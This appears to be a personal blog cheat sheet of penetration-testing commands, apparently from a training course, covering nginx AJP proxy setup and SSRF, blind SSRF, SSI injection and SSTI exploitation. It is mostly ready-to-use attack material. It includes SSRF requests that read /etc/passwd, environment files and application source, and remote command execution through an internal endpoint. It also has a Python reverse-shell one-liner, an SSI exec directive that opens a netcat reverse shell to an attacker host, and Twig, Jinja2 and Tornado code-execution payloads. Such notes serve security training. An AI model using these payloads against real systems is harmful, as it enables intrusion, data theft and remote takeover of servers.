hi@hectortoral.com
module banner module badge

3 min read

Nginx Reverse Proxy & AJP

CommandDescription
wget https://nginx.org/download/nginx-1.21.3.tar.gzDownloading nginx
tar -xzvf nginx-1.21.3.tar.gzExtracting nginx tar file
git clone https://github.com/dvershinin/nginx_ajp_module.gitCloning nginx_ajp source code
cd nginx-1.21.3Navigating to nginx directory
./configure --add-module=$(pwd)/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modulesSetting up the configuration for building and installing Nginx web server
makeGNU make utility to maintain groups of programs
sudo make installInstructing the make command to execute the installation target defined in the make file
sudo nginxStarting the nginx server

SSRF Exploitation Example

CommandDescription
nmap -sT -T5 --min-rate=10000 -p- 10.129.201.238Scanning the ports of the external target
curl -i -s -L http://<TARGET IP>Interacting with the target and following redirects
nc -lvnp 8080Starting a netcat listener to test for SSRF
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"Testing for SSRF vulnerability
python3 -m http.server 9090Starting the python web server
sudo pip3 install twistedInstalling the ftp server
sudo python3 -m twisted ftp -p 21 -r .Starting the ftp server
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"Retrieving a remote file through the target application (HTTP Schema)
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"Retrieving a local file through the target application (File Schema)
for port in {1..65535};do echo $port >> ports.txt;doneGenerating a wordlist of possible ports
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30Fuzzing for ports on the internal interface
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"Interacting with the internal interface on the discovered port
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"Interacting with the internal application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"Discovering web application listening in on localhost
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"Modifying the URL to bypass the error message
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -Requesting to disclose the /proc/self/environ file on the internal application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"Retrieving a local file through the target application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"Confirming remote code exeuction on the remote host
sudo apt-get install jqInstalling jq

Blind SSRF Exploitation Example

CommandDescription
nc -lvnp 9090Starting a netcat listener
echo """<B64 encoded response>""" | base64 -dDecoding the base64 encoded response
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'Reverse shell payload (to be URL encoaded twice)

SSI Injection Exploitation Example

SSI Directive PayloadDescription
<!--#echo var="DATE_LOCAL" -->Date
<!--#printenv -->All variables
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->Reverse Shell

SSTI Exploitation Example 1

CommandDescription
git clone https://github.com/epinna/tplmap.gitCloning the tplmap repoistory
cd tplmapNavigating to the new directory
pip install virtualenvInstalling the virtual environment with pip
virtualenv -p python2 venvCreating a virtual environment named venv with python2
source venv/bin/activateActivating a Python virtual environment, configuring the shell to use the virtual environment’s Python interpreter
pip install -r requirements.txtInstalling dependencies
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=johnRunning tplmap against the target
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shellRunning tplmap with the os-shell option
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}Twig RCE payload

SSTI Exploitation Example 2

CommandDescription
curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteamInteracting with the remote target (Spring payload)
curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteamInteracting with the remote target (Twig payload)
curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteamInteracting with the remote target (Jinja2 basic injection)
curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteamInteracting with the remote target (Jinja2 dump all classes payload)
curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteamInteracting with the remote target (Tornado payload)
./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blahAutomating the exploitation process with tplmap

SSTI Exploitation Example 3

CommandDescription
curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}"Interacting with the remote target (Confirming Jinja2 backend)
./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd'Automating the templating engine identification process with tplmap
python3Starting the python3 interpreter
MethodsDescription
__class__Returns the object (class) to which the type belongs
__mro__Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples.
__subclasses__Each new class retains references to subclasses, and this method returns a list of references that are still available in the class
__builtins__Returns the builtin methods included in a function
__globals__A reference to a dictionary that contains global variables for a function
__base__Returns the base class inherited by the object
__init__Class initialization method